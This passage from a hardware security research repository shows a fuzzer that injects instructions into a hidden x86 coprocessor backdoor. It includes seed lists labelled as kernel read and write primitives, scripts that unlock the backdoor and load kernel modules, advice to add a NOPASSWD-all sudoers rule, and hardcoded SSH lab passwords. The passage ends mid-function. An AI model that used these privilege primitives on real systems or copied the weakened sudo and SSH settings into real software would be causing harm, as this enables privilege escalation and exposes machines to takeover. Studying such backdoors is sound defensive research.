\n\ 857 | movq %[working_mm4], %%mm4 \n\ 858 | movq %[working_mm5], %%mm5 \n\ 859 | movq %[working_mm6], %%mm6 \n\ 860 | movq %[working_mm7], %%mm7 \n\ 861 | " 862 | : 863 | : [working_mm0]"m"(working_state.mm0), 864 | [working_mm1]"m"(working_state.mm1), 865 | [working_mm2]"m"(working_state.mm2), 866 | [working_mm3]"m"(working_state.mm3), 867 | [working_mm4]"m"(working_state.mm4), 868 | [working_mm5]"m"(working_state.mm5), 869 | [working_mm6]"m"(working_state.mm6), 870 | [working_mm7]"m"(working_state.mm7) 871 | ); 872 | 873 | __asm__ __volatile__ ("\ 874 | pushfl \n\ 875 | popl %[output_eflags] \n\ 876 | " 877 | : [output_eflags]"=m"(output_state.eflags) 878 | : 879 | ); 880 | 881 | #if TRACK_RING_0 882 | load_ring_0_state(&output_state); 883 | #endif 884 | 885 | #if USE_SEARCH_KERNEL 886 | handle=open("/dev/deis_kernel", O_RDWR); 887 | ioctl(handle, READ_BUFFER, &output_mem.data); 888 | close(handle); 889 | #endif 890 | } 891 | 892 | float frand(void) 893 | { 894 | return ((float)(rand()%RAND_MAX))/(RAND_MAX-1); 895 | } 896 | 897 | void generate_seeded_list(void) 898 | { 899 | int i; 900 | generated_seeded_ins=0; 901 | for ( 902 | i=0; 903 | ideis=llrand(); 972 | } 973 | else if (mode==INSTRUCTION_MODE_SEED) { 974 | ins->deis=get_seeded(); 975 | } 976 | else { 977 | assert (0); 978 | } 979 | initialize_state( 980 | input_state, 981 | run_0_state_init, 982 | output_mem, /* memory_init will make pointers to this 983 | buffer */ 984 | #if USE_SEARCH_KERNEL 985 | search==SEARCH_KERNEL?MEMORY_KERNEL:MEMORY_PATTERN 986 | #else 987 | MEMORY_PATTERN 988 | #endif 989 | ); 990 | //TODO: maybe this is more cleanly put in inject, where the register 991 | //state is recorded 992 | *input_mem=*output_mem; /* record initial state */ 993 | } 994 | else if (run==RUN_1) { 995 | /* second run */ 996 | /* repeat previous run */ 997 | *output_mem=*input_mem; /* reset target memory */ 998 | } 999 | else if (run==RUN_2) { 1000 | /* third run */ 1001 | /* run on a different randomized state */ 1002 | initialize_state( 1003 | input_state, 1004 | STATE_RANDOM, 1005 | output_mem, 1006 | MEMORY_NOCHANGE 1007 | ); 1008 | *output_mem=*input_mem; /* reset target memory */ 1009 | } 1010 | else if (run==RUN_3) { 1011 | /* fourth run */ 1012 | /* run on a patterned register state */ 1013 | initialize_state( 1014 | input_state, 1015 | STATE_PATTERN, 1016 | output_mem, 1017 | MEMORY_NOCHANGE 1018 | ); 1019 | *output_mem=*input_mem; /* reset target memory */ 1020 | } 1021 | else { 1022 | assert(0); 1023 | } 1024 | } 1025 | 1026 | void print_memory_diff(mem_t* input, mem_t* output) 1027 | { 1028 | printf(KEY_MARKER); 1029 | printf(" "); 1030 | print_memory_headers(); 1031 | printf(KEY_MARKER); 1032 | printf("inject: "); 1033 | print_memory(&input_mem); 1034 | printf(KEY_MARKER); 1035 | printf("result: "); 1036 | print_memory(&output_mem); 1037 | printf(KEY_MARKER); 1038 | printf(" "); 1039 | print_memory_diff_summary(input, output); 1040 | } 1041 | 1042 | #if TRACK_RING_0 1043 | 1044 | void print_dr_state_headers(void) 1045 | { 1046 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n", 1047 | "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7"); 1048 | } 1049 | 1050 | void print_dr_state(state_t* state) 1051 | { 1052 | printf("%08x ", state->dr0); 1053 | printf("%08x ", state->dr1); 1054 | printf("%08x ", state->dr2); 1055 | printf("%08x ", state->dr3); 1056 | printf("%08x ", state->dr4); 1057 | printf("%08x ", state->dr5); 1058 | printf("%08x ", state->dr6); 1059 | printf("%08x ", state->dr7); 1060 | printf("\n"); 1061 | } 1062 | 1063 | void print_dr_state_diff(state_t* state_1, state_t* state_2) 1064 | { 1065 | print_byte_diff((uint8_t*)&state_1->dr0, (uint8_t*)&state_2->dr0, 4, "", " "); 1066 | print_byte_diff((uint8_t*)&state_1->dr1, (uint8_t*)&state_2->dr1, 4, "", " "); 1067 | print_byte_diff((uint8_t*)&state_1->dr2, (uint8_t*)&state_2->dr2, 4, "", " "); 1068 | print_byte_diff((uint8_t*)&state_1->dr3, (uint8_t*)&state_2->dr3, 4, "", " "); 1069 | print_byte_diff((uint8_t*)&state_1->dr4, (uint8_t*)&state_2->dr4, 4, "", " "); 1070 | print_byte_diff((uint8_t*)&state_1->dr5, (uint8_t*)&state_2->dr5, 4, "", " "); 1071 | print_byte_diff((uint8_t*)&state_1->dr6, (uint8_t*)&state_2->dr6, 4, "", " "); 1072 | print_byte_diff((uint8_t*)&state_1->dr7, (uint8_t*)&state_2->dr7, 4, "", " "); 1073 | printf("\n"); 1074 | } 1075 | 1076 | void print_cr_state_headers(void) 1077 | { 1078 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n", 1079 | "cr0", "", "cr2", "cr3", "cr4", "", "", ""); 1080 | } 1081 | 1082 | void print_cr_state(state_t* state) 1083 | { 1084 | printf("%08x ", state->cr0); 1085 | printf("%8s ", ""); 1086 | printf("%08x ", state->cr2); 1087 | printf("%08x ", state->cr3); 1088 | printf("%08x ", state->cr4); 1089 | printf("%8s ", ""); 1090 | printf("%8s ", ""); 1091 | printf("%8s ", ""); 1092 | printf("\n"); 1093 | } 1094 | 1095 | void print_cr_state_diff(state_t* state_1, state_t* state_2) 1096 | { 1097 | print_byte_diff((uint8_t*)&state_1->cr0, (uint8_t*)&state_2->cr0, 4, "", " "); 1098 | printf("%8s ", ""); 1099 | print_byte_diff((uint8_t*)&state_1->cr2, (uint8_t*)&state_2->cr2, 4, "", " "); 1100 | print_byte_diff((uint8_t*)&state_1->cr3, (uint8_t*)&state_2->cr3, 4, "", " "); 1101 | print_byte_diff((uint8_t*)&state_1->cr4, (uint8_t*)&state_2->cr4, 4, "", " "); 1102 | printf("%8s ", ""); 1103 | printf("%8s ", ""); 1104 | printf("%8s ", ""); 1105 | printf("\n"); 1106 | } 1107 | #endif 1108 | 1109 | void print_state_diff(state_t* input, state_t* output) 1110 | { 1111 | printf(KEY_MARKER); 1112 | printf(" "); 1113 | print_gpr_state_headers(); 1114 | printf(KEY_MARKER); 1115 | printf("inject: "); 1116 | print_gpr_state(input); 1117 | printf(KEY_MARKER); 1118 | printf("result: "); 1119 | print_gpr_state(output); 1120 | printf(KEY_MARKER); 1121 | printf(" "); 1122 | print_gpr_state_diff(input, output); 1123 | 1124 | printf(KEY_MARKER); 1125 | printf(" "); 1126 | print_mmx_0_3_state_headers(); 1127 | printf(KEY_MARKER); 1128 | printf("inject: "); 1129 | print_mmx_0_3_state(input); 1130 | printf(KEY_MARKER); 1131 | printf("result: "); 1132 | print_mmx_0_3_state(output); 1133 | printf(KEY_MARKER); 1134 | printf(" "); 1135 | print_mmx_0_3_state_diff(input, output); 1136 | 1137 | printf(KEY_MARKER); 1138 | printf(" "); 1139 | print_mmx_4_7_state_headers(); 1140 | printf(KEY_MARKER); 1141 | printf("inject: "); 1142 | print_mmx_4_7_state(input); 1143 | printf(KEY_MARKER); 1144 | printf("result: "); 1145 | print_mmx_4_7_state(output); 1146 | printf(KEY_MARKER); 1147 | printf(" "); 1148 | print_mmx_4_7_state_diff(input, output); 1149 | 1150 | printf(KEY_MARKER); 1151 | printf(" %-8s\n", "eflags"); 1152 | printf(KEY_MARKER); 1153 | printf("inject: %08x\n", input->eflags); 1154 | printf(KEY_MARKER); 1155 | printf("result: %08x\n", output->eflags); 1156 | printf(KEY_MARKER); 1157 | printf(" "); 1158 | print_byte_diff((uint8_t*)&input->eflags, (uint8_t*)&output->eflags, 4, "", " "); 1159 | printf("\n"); 1160 | 1161 | #if TRACK_RING_0 1162 | printf(KEY_MARKER); 1163 | printf(" "); 1164 | print_cr_state_headers(); 1165 | printf(KEY_MARKER); 1166 | printf("inject: "); 1167 | print_cr_state(input); 1168 | printf(KEY_MARKER); 1169 | printf("result: "); 1170 | print_cr_state(output); 1171 | printf(KEY_MARKER); 1172 | printf(" "); 1173 | print_cr_state_diff(input, output); 1174 | 1175 | printf(KEY_MARKER); 1176 | printf(" "); 1177 | print_dr_state_headers(); 1178 | printf(KEY_MARKER); 1179 | printf("inject: "); 1180 | print_dr_state(input); 1181 | printf(KEY_MARKER); 1182 | printf("result: "); 1183 | print_dr_state(output); 1184 | printf(KEY_MARKER); 1185 | printf(" "); 1186 | print_dr_state_diff(input, output); 1187 | #endif 1188 | } 1189 | 1190 | void fuzz(void) 1191 | { 1192 | extern instruction_t _bridge; 1193 | instruction_t* probe=&_bridge; 1194 | instruction_t ins; 1195 | run_t run; 1196 | #if !TARGET_KERNEL 1197 | search_t search=rand()%SEARCH_END; 1198 | #else 1199 | search_t search=SEARCH_KERNEL; 1200 | #endif 1201 | bool found_change; 1202 | 1203 | ins.prefix[0]=0x62; 1204 | ins.prefix[1]=0x04; 1205 | ins.prefix[2]=0x05; 1206 | 1207 | run=RUN_0; 1208 | while (1) { 1209 | (*run_tick)++; 1210 | 1211 | printf(">" LINE_BREAK); 1212 | if (search==SEARCH_STATE) { 1213 | printf("(search state)\n"); 1214 | } 1215 | else if (search==SEARCH_MEMORY) { 1216 | printf("(search memory)\n"); 1217 | } 1218 | #if USE_SEARCH_KERNEL 1219 | else if (search==SEARCH_KERNEL) { 1220 | printf("(search kernel)\n"); 1221 | } 1222 | #endif 1223 | else { 1224 | assert (0); 1225 | } 1226 | printf("(run %d)\n", run); 1227 | 1228 | configure( 1229 | MODE, 1230 | search, 1231 | run, 1232 | &ins, 1233 | &input_state, 1234 | &output_state, 1235 | &input_mem, 1236 | &output_mem 1237 | ); 1238 | input_state.eax=(uintptr_t)&_bridge; 1239 | #if !SIMULATE 1240 | *probe=ins; 1241 | #endif 1242 | 1243 | printf(KEY_MARKER); 1244 | print_instruction(&ins); 1245 | 1246 | printf("executing...\n"); 1247 | fflush(stdout); /* always flush before running the deis */ 1248 | 1249 | inject(); 1250 | 1251 | printf("...done.\n"); 1252 | 1253 | (*result_tick)++; 1254 | 1255 | found_change=false; 1256 | 1257 | if (!memory_equal(&input_mem,&output_mem)||!states_equal(&input_state,&output_state)) { 1258 | found_change=true; 1259 | printf("\n"); 1260 | print_memory_diff(&input_mem, &output_mem); 1261 | print_state_diff(&input_state,&output_state); 1262 | } 1263 | 1264 | /* determine next run based on results */ 1265 | if (found_change) { 1266 | run++; 1267 | if (run==RUN_END) { 1268 | /* move to next search strategy */ 1269 | run=RUN_0; 1270 | search=(search+1)%SEARCH_END; 1271 | } 1272 | } 1273 | else { 1274 | /* no change detected */ 1275 | if (run==RUN_0) { 1276 | /* no run started */ 1277 | /* move to next search strategy */ 1278 | search=(search+1)%SEARCH_END; 1279 | } 1280 | else { 1281 | /* run started, continue */ 1282 | run++; 1283 | if (run==RUN_END) { 1284 | /* move to next search strategy */ 1285 | run=RUN_0; 1286 | search=(search+1)%SEARCH_END; 1287 | } 1288 | } 1289 | } 1290 | 1291 | printf("<" LINE_BREAK); 1292 | fflush(stdout); 1293 | 1294 | usleep(FUZZ_DELAY); 1295 | } 1296 | } 1297 | 1298 | int main(void) 1299 | { 1300 | int pid; 1301 | unsigned int seed; 1302 | int failed_runs=0; 1303 | 1304 | run_tick=mmap(NULL, sizeof *run_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); 1305 | result_tick=mmap(NULL, sizeof *result_tick, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); 1306 | 1307 | *run_tick=0; 1308 | 1309 | generate_seeded_list(); 1310 | 1311 | while (1) { 1312 | *result_tick=0; 1313 | 1314 | pid=fork(); 1315 | 1316 | if (pid==0) { 1317 | seed=time(NULL)*(*run_tick+1); 1318 | srand(seed); 1319 | printf("fuzzing (seed: %08x)...\n", seed); 1320 | fuzz(); 1321 | } 1322 | else { 1323 | /* parent */ 1324 | uint64_t last_run_tick=-1; 1325 | 1326 | while (1) { 1327 | usleep(RUN_TIMEOUT); 1328 | if (last_run_tick==*run_tick) { 1329 | printf("killing %d\n", pid); 1330 | fflush(stdout); 1331 | kill(pid, SIGKILL); 1332 | if (*result_tick==0) { 1333 | /* produced no result */ 1334 | failed_runs++; 1335 | if (failed_runs>RESULT_TIMEOUT) { 1336 | /* sometimes system gets into state where the forked 1337 | * process _always_ fails. give up after n times; 1338 | * the controller will reset us when it sees we are 1339 | * no longer producing output */ 1340 | printf("failed to execute %d times\n", failed_runs); 1341 | printf("quitting\n"); 1342 | exit(-1); 1343 | } 1344 | } 1345 | else { 1346 | failed_runs=0; 1347 | } 1348 | break; 1349 | } 1350 | else { 1351 | last_run_tick=*run_tick; 1352 | } 1353 | } 1354 | } 1355 | } 1356 | 1357 | return 0; 1358 | } 1359 | -------------------------------------------------------------------------------- /fuzz/deis/fuzz_deis.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # assumes no password required for sudo 4 | # (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers) 5 | 6 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 7 | 8 | echo "== unlocking backdoor ==" 9 | sudo modprobe msr 10 | sudo $DIR/../../lock/bin/unlock 11 | echo "== loading privregs ==" 12 | sudo insmod $DIR/../../kern/privregs/privregs.ko 13 | echo "== loading deis kernel ==" 14 | sudo insmod $DIR/../../kern/deis_kernel.ko 15 | echo "== recording kernel log ==" 16 | sudo tail -f /var/log/kern.log & 17 | echo "== launching deis ==" 18 | sudo $DIR/bin/fuzz_deis | grep --color -E '\^|$' 19 | echo "== end launch deis ==" 20 | -------------------------------------------------------------------------------- /fuzz/deis/seed_ins.h: -------------------------------------------------------------------------------- 1 | /* kernel reads */ 2 | uint32_t seed_ins_source[]={ 3 | /* 4 byte */ 4 | 0xc1f2adbd, 5 | 0xc291a469, 6 | 0xc291a46d, 7 | 0xc451b086, 8 | 0xc495874d, 9 | 0xc635b945, 10 | 0xc673b789, 11 | 0xc673b989, 12 | 0xc677a94d, 13 | 0xc677b94d, 14 | 0xc677b9c5, 15 | 0xc8538c8d, 16 | }; 17 | 18 | /* not run */ 19 | #if 0 20 | #endif 21 | 22 | /* run */ 23 | #if 0 24 | /* zero bytes */ 25 | uint32_t seed_ins_source[]={ 26 | 0xc5e9a0d7, 27 | 0xc5caa8de, 28 | 0xc451b0c6, 29 | 0xc45190c6, 30 | }; 31 | 32 | /* kernel reads */ 33 | uint32_t seed_ins_source[]={ 34 | /* 1 byte */ 35 | 0x29b4fa1a, 36 | 0x2f535c47, 37 | 0x31118ba1, 38 | 0x3137b347, 39 | 0x3177f311, 40 | 0x31b20e73, 41 | 0x33d199a9, 42 | 0x33d52d94, 43 | 0x33d3d5b7, 44 | 0x82bba4e2, 45 | 0x871b8945, 46 | 0x8b330147, 47 | 0x8e8aa887, 48 | 0x8e8a8887, 49 | 0x8fd29b55, 50 | 0x8f24d36b, 51 | 0x92b7a4a8, 52 | 0xa18db253, 53 | 0xab169e41, 54 | 0xab77df0b, 55 | 0xac0db1bc, 56 | 0xac7e9948, 57 | 0xac7ea14a, 58 | 0xac9a9e85, 59 | 0xacfa83fe, 60 | 0xad97b502, 61 | 0xadbe8c8b, 62 | 0xadc9831e, 63 | 0xae979508, 64 | 0xaed1b681, 65 | 0xaed58ad7, 66 | 0xaedfba85, 67 | 0xaef79050, 68 | 0xaefeba89, 69 | 0xb0a0881d, 70 | 0xb16b81f6, 71 | 0xb16bb1f6, 72 | 0xb1b791e9, 73 | 0xb27aada9, 74 | 0xb36885f6, 75 | 0xc1f1ac03, 76 | 0xc411b82b, 77 | 0xc491a82b, 78 | 0xd407a107, 79 | }; 80 | 81 | /* lgdt */ 82 | uint32_t seed_ins_source[]={ 83 | 0xa313075b, 84 | }; 85 | 86 | /* kernel writes */ 87 | uint32_t seed_ins_source[]={ 88 | /* 1 byte */ 89 | 0x9a17953f, 90 | 0x9f95944c, 91 | 0xe091a46f, 92 | 0xe291a46f, 93 | 0xe2b7ad2f, 94 | 0xf1971c49, 95 | 0xf1f6fc2b, 96 | 0xf217ad6f, 97 | 0xf2b3a56f, 98 | 0xf2b70d6f, 99 | 0xf2b7ad0f, 100 | 0xf2b7ad6b, 101 | 0xf2b7ad6f, 102 | 0xf2b7cd6f, 103 | 0xf357b4bc, 104 | 0xf3b78d6f, 105 | 0xfc343c0a, 106 | 0xfc920c0e, 107 | 0xfc92a40c, 108 | 0xfcb26c0e, 109 | /* 4 byte */ 110 | 0xe091b46d, 111 | 0xe1f6b4ec, 112 | 0xe2118dfd, 113 | 0xe211a46d, 114 | 0xe2148cfd, 115 | 0xe2158d7d, 116 | 0xe2518dfd, 117 | 0xe2758dfd, 118 | 0xe291946d, 119 | 0xe293a46d, 120 | 0xe2d1ac6d, 121 | 0xe2d3ac6d, 122 | 0xe315adfd, 123 | 0xe3358dfd, 124 | 0xe391a46d, 125 | 0xe5f6b6ec, 126 | 0xe6d1b680, 127 | 0xfed394c8, 128 | }; 129 | 130 | /* add, sub */ 131 | uint32_t seed_ins_source[]={ 132 | /* add */ 133 | 0x8236a4e8, 134 | 0x82b6b0e8, 135 | 0x8a3651d0, 136 | 0x8a690bf0, 137 | 0x8a9d7308, 138 | 0x8a9df308, 139 | 0x8af76b08, 140 | 0x8afc5310, 141 | 0x8bf74d08, 142 | /* sub */ 143 | 0x80d2c5f2, 144 | 0x80d4c5f2, 145 | 0x8171b5ca, 146 | 0x8257010a, 147 | 0x82572d0a, 148 | 0x8277610a, 149 | 0x8277adca, 150 | 0x829f83ca, 151 | 0x82b85312, 152 | 0x82db83ca, 153 | 0x82f0d90a, 154 | 0x833135ca, 155 | 0x837115ca, 156 | 0x837135ca, 157 | 0x8371b5ca, 158 | 0x8a7923d2, 159 | 0x8a7973d2, 160 | 0x8a9d730a, 161 | 0x8ac193f2, 162 | 0x8ad85312, 163 | 0x8af81312, 164 | 0x8af95312, 165 | 0x8afc4312, 166 | }; 167 | 168 | /* immediate load */ 169 | uint32_t seed_ins_source[]={ 170 | 0xc270b389, 171 | }; 172 | 173 | /* bitwise and, or */ 174 | uint32_t seed_ins_source[]={ 175 | /* and */ 176 | 0x8b153514, 177 | 0x8b171d14, 178 | 0x8b370514, 179 | 0x8a171514, 180 | /* or */ 181 | 0x82f48314, 182 | 0x82d3e5d5, 183 | 0x82d541f5, 184 | 0x82f141f5, 185 | }; 186 | 187 | /* shift instructions */ 188 | /* 189 | uint32_t seed_ins_source[]={ 190 | 0x802d0fe3, 191 | 0x80d6c7c2, 192 | 0x80d6cfe2, 193 | 0x8115afe3, 194 | 0x812d67c3, 195 | 0x812f0fc3, 196 | 0x812f8fe2, 197 | 0x81566702, 198 | 0x81abbf03, 199 | 0x81f7cfe2, 200 | 0x81f7dfe2, 201 | 0x83af0fe3, 202 | 0x83fb27e2, 203 | 0x84d4c5e2, 204 | 0x85140703, 205 | 0x85144503, 206 | 0x85144703, 207 | 0x85146703, 208 | 0x85344703, 209 | 0x8554e703, 210 | 0x894aa7c2, 211 | 0x899bbf03, 212 | 0x89abb702, 213 | 0x89bbbf03, 214 | 0x89f78fe2, 215 | 0x8a09bfc3, 216 | 0x8ae8d7c3, 217 | 0x8b2bbf03, 218 | 0x84647de2, 219 | 0x8597b503, 220 | 0x856f7de2, 221 | 0x873f1702, 222 | 0x873fad03, 223 | 0x877f1f02, 224 | 0x877f3f02, 225 | 0x8c1f5d02, 226 | 0x850325c4, 227 | 0x85dfc704, 228 | 0x85eb6fe5, 229 | 0x863b9f05, 230 | 0x86437dc4, 231 | 0x870bc5c5, 232 | 0x873f0f00, 233 | 0x873f3f00, 234 | 0x874b85c5, 235 | 0x8c1f1500, 236 | 0x8c1f1d00, 237 | 0x8c3f1500, 238 | 0x8c3f9d00, 239 | 0x8cbd47c0, 240 | 0x8ceb2fe5, 241 | 0x8cfda5e0, 242 | 0x8d1f1500, 243 | 0x8d5f0d00, 244 | 0x8dab6fe5, 245 | 0x8dc395c4, 246 | 0x8deb2fe5, 247 | 0x8deb5fe5, 248 | 0x8deb6de5, 249 | 0x8debefc5, 250 | 0x8dfd85e0, 251 | 0x8dfda7e4, 252 | 0x8e1b7705, 253 | 0x8e1bbf05, 254 | 0x8e5845c5, 255 | 0x8e5d65e4, 256 | 0x8f1955c5, 257 | 0x8f3f0f00, 258 | 0x8f5865e5, 259 | 0x8f7f1f00, 260 | 0x8f985de5, 261 | 0x8006d7f0, 262 | 0x8026c7d0, 263 | 0x8026d7f0, 264 | 0x80a217d0, 265 | 0x8126d7d0, 266 | 0x8136d7d0, 267 | 0x813ae710, 268 | 0x8595c705, 269 | 0x86091d07, 270 | 0x8809cfd0, 271 | 0x8819cfc8, 272 | 0x881aaf08, 273 | 0x8826d7d0, 274 | 0x8859cfd0, 275 | 0x888186c8, 276 | 0x8898c7d0, 277 | 0x8919cfc8, 278 | 0x897a6710, 279 | 0x8aa8d7d0, 280 | 0x8b734f08, 281 | 0x8b9f5de5, 282 | 0x8bf76f08, 283 | 0x8dbca5e0, 284 | 0x8ddca5e0, 285 | 0x8de92fe5, 286 | 0x8dfca5c0, 287 | 0x8dfca7e0, 288 | 0x8dfcade0, 289 | 0x8dfcbde0, 290 | 0x8dfce5e0, 291 | 0x8e491d05, 292 | 0x8e5c65c4, 293 | 0x8e5c65e4, 294 | 0x8e5c6de4, 295 | 0x8e7c85c4, 296 | 0x8e95d7c5, 297 | 0x8ec945c5, 298 | 0x8ec947c5, 299 | 0x8fa18704, 300 | 0x8fe18504, 301 | 0x851c4f03, 302 | 0x8dfcade2, 303 | 0x842aadc7, 304 | 0x862aaf07, 305 | 0x866aad07, 306 | 0x870a05c5, 307 | 0x874a1d05, 308 | 0x8d8a1de5, 309 | 0x8e62a7c4, 310 | 0x85627de2, 311 | 0x8e5165e4, 312 | 0x8ff18504, 313 | }; 314 | */ 315 | 316 | /* gpr xfers */ 317 | uint32_t seed_ins_source[]={ 318 | 0xac128165, 319 | 0xac138147, 320 | 0xac138165, 321 | 0xac138345, 322 | 0xac1390af, 323 | 0xac13a14d, 324 | 0xac13ae90, 325 | 0xac13bf61, 326 | 0xac149b4b, 327 | 0xac15b927, 328 | 0xac1687e9, 329 | 0xac168f71, 330 | 0xac1787c1, 331 | 0xae50b662, 332 | 0xae55bac9, 333 | 0xae56be68, 334 | 0xafd1ae1f, 335 | 0xafd4ae2d, 336 | 0xafd6aa4e, 337 | 0xafd6ae2d, 338 | 0xafd6be68, 339 | 0xaff3bded, 340 | 0xb011b0e5, 341 | 0xb2548273, 342 | 0xb257a26d, 343 | 0xb257b315, 344 | 0xb3d19bb9, 345 | 0xb3d1b9b9, 346 | 0xb3d5a795, 347 | 0xb3e495c0, 348 | 0xb3f19f97, 349 | }; 350 | #endif 351 | -------------------------------------------------------------------------------- /fuzz/exit/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/fuzz_exit 2 | 3 | bin/fuzz_exit: fuzz_exit.c 4 | mkdir -p bin 5 | gcc -m32 fuzz_exit.c -o bin/fuzz_exit 6 | 7 | clean: 8 | rm -f bin/* 9 | -------------------------------------------------------------------------------- /fuzz/exit/fuzz_exit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_INSTRUCTIONS 100000 6 | 7 | /* inline constraints will add a $ before an immediate, which .space will 8 | * refuse to parse = no inline constriants for the space piece. can try to use 9 | * the preprocessor but it won't be able to resolve sizeof(). no good solution. 10 | * just hardcode the size. */ 11 | #define INSTRUCTION_SIZE 7 /* sizeof(instruction_t) */ 12 | #define PADDING (MAX_INSTRUCTIONS*INSTRUCTION_SIZE) 13 | 14 | #define STR_HELPER(x) #x 15 | #define STR(x) STR_HELPER(x) 16 | 17 | typedef struct instruction_t { 18 | unsigned char prefix[3]; 19 | unsigned int instruction; 20 | } __attribute__ ((__packed__)) instruction_t; 21 | 22 | int main(void) __attribute__ ((section (".check,\"awx\",@progbits#"))); 23 | 24 | instruction_t* bridge_indirect; 25 | 26 | int main(void) 27 | { 28 | extern instruction_t _bridge; 29 | instruction_t* probe=&_bridge; 30 | unsigned int b; 31 | int i; 32 | 33 | instruction_t ins; 34 | 35 | ins.prefix[0]=0x8d; 36 | ins.prefix[1]=0x84; 37 | ins.prefix[2]=0x00; 38 | 39 | printf("receiving...\n"); 40 | printf(">\n"); /* signal to manager that we're ready for input */ 41 | i=0; 42 | while (i\n"); /* signal to manager that we're done */ 78 | 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /fuzz/exit/fuzz_exit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # call the bridge from a wrapper, so that if it crashes we can still send out a 4 | # message 5 | 6 | # assumes no password required for sudo 7 | # (add 'username ALL=(ALL) NOPASSWD: ALL' to sudoers) 8 | 9 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 10 | 11 | echo "== unlocking backdoor ==" 12 | sudo modprobe msr 13 | $DIR/../../lock/bin/unlock 14 | echo "== launching kern.log ==" 15 | sudo tail -f /var/log/kern.log & 16 | echo "== launching bridge ==" 17 | $DIR/bin/fuzz_exit 18 | echo "~~ to hell and back ~~" 19 | -------------------------------------------------------------------------------- /fuzz/manager/device/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/device/__init__.py -------------------------------------------------------------------------------- /fuzz/manager/device/device.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sys 3 | import logging.handlers 4 | 5 | # represents a fuzzing target 6 | class Device: 7 | def __init__(self, relay, ip, username="user", password="password", name="unnamed"): 8 | # configure logger 9 | logger = logging.getLogger("%s.%s" % (__name__, relay)) 10 | 11 | file_handler = logging.handlers.RotatingFileHandler('device_%d.log' % relay, maxBytes=0, backupCount=50) 12 | file_handler.doRollover() 13 | logger.addHandler(file_handler) 14 | 15 | stream_handler = logging.StreamHandler(sys.stdout) 16 | logger.addHandler(stream_handler) 17 | 18 | logger.setLevel(logging.INFO) 19 | 20 | # configure device 21 | self.relay = relay 22 | self.ip = ip 23 | self.up = False 24 | self.username = username 25 | self.password = password 26 | self.name = name 27 | self.logger = logger 28 | 29 | def dprint(self, *args): 30 | m = "> device <%d, %s, %s>: " % (self.relay, self.ip, self.name) + " ".join(map(str, args)) 31 | self.logger.info(m) 32 | -------------------------------------------------------------------------------- /fuzz/manager/fuzz_deis.py: -------------------------------------------------------------------------------- 1 | # manages the fuzz_deis tool on a remote target 2 | 3 | import os 4 | import sys 5 | import paramiko 6 | import time 7 | import socket 8 | import random 9 | import collections 10 | from threading import Thread 11 | 12 | import power.power as power 13 | import util.indent as indent 14 | from device.device import Device 15 | 16 | TASK_TIMEOUT = 600 # max time to run the fuzz script (seconds) 17 | PING_DELAY = 1 # time to wait in between pings (seconds) 18 | BOOT_TIMEOUT = 120 # max time for the target to boot (aka respond to pings) (seconds) 19 | 20 | REMOTE_COMMAND = "~/_research/rosenbridge/fuzz/deis/fuzz_deis.sh" 21 | 22 | SIM = False 23 | 24 | systems = [ 25 | Device(3, "192.168.3.160", "delta", "password", "unknown"), 26 | Device(2, "192.168.3.161", "delta", "password", "unknown"), 27 | Device(1, "192.168.3.162", "delta", "password", "unknown"), 28 | Device(5, "192.168.3.163", "delta", "password", "unknown"), 29 | Device(6, "192.168.3.164", "delta", "password", "unknown"), 30 | Device(7, "192.168.3.165", "delta", "password", "unknown"), 31 | Device(0, "192.168.3.166", "delta", "password", "unknown"), 32 | ] 33 | 34 | if SIM: 35 | systems = [Device(1, "localhost", "deltaop", "xxx", "unknown")] 36 | 37 | def device_up(device): 38 | device.dprint("pinging %s" % device.ip) 39 | response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1") 40 | return response == 0 41 | 42 | # assumes device is powered off 43 | def task(device): 44 | on_round = 0 45 | while True: 46 | on_round = on_round + 1 47 | start = time.time() 48 | SIM or power.power_on(device.relay) 49 | 50 | start_time = time.time() 51 | device.up = False 52 | while not device.up and time.time() - start_time < BOOT_TIMEOUT: 53 | time.sleep(PING_DELAY) 54 | device.up = device_up(device) 55 | 56 | if not device.up: 57 | device.dprint("device exceeded reboot time, resetting") 58 | 59 | # this power down seems to interfere with the power on button push 60 | # in general, if the device hasn't booted, it's just because the 61 | # power on didn't take. just try the power on again instead. 62 | ''' 63 | # power off 64 | SIM or power.power_off(device.relay) 65 | 66 | # target device seems to (sometimes) not recognize the power on, if not 67 | # enough time has elapsed after the shut down 68 | time.sleep(30) # needs to be large 69 | ''' 70 | 71 | continue 72 | 73 | device.dprint("device up") 74 | 75 | # just because the device responds to pings doesn't mean it is 76 | # completely booted. give the device a bit longer before trying. 77 | time.sleep(10) 78 | 79 | retry = True 80 | while retry: 81 | try: 82 | device.dprint("connecting to device") 83 | 84 | device.dprint("(debug) create client") 85 | client = paramiko.SSHClient() 86 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 87 | 88 | device.dprint("(debug) connect") 89 | client.connect(device.ip, port=22, username=device.username, 90 | password=device.password) 91 | 92 | # after sshd starts, the system still has a bit to do before 93 | # it's done booting. don't want to spam the logs with 94 | # irrelevant kernel messages - wait a bit. 95 | device.dprint("(waiting)") 96 | time.sleep(10) 97 | 98 | device.dprint("(debug) exec") 99 | stdin, stdout, stderr = client.exec_command( 100 | REMOTE_COMMAND, 101 | timeout=TASK_TIMEOUT, 102 | get_pty=True 103 | ) 104 | 105 | device.dprint("=============== log ===============") 106 | 107 | while True: 108 | M_TIMEOUT = 10 109 | abort = False 110 | 111 | start_time = time.time() 112 | while True: 113 | 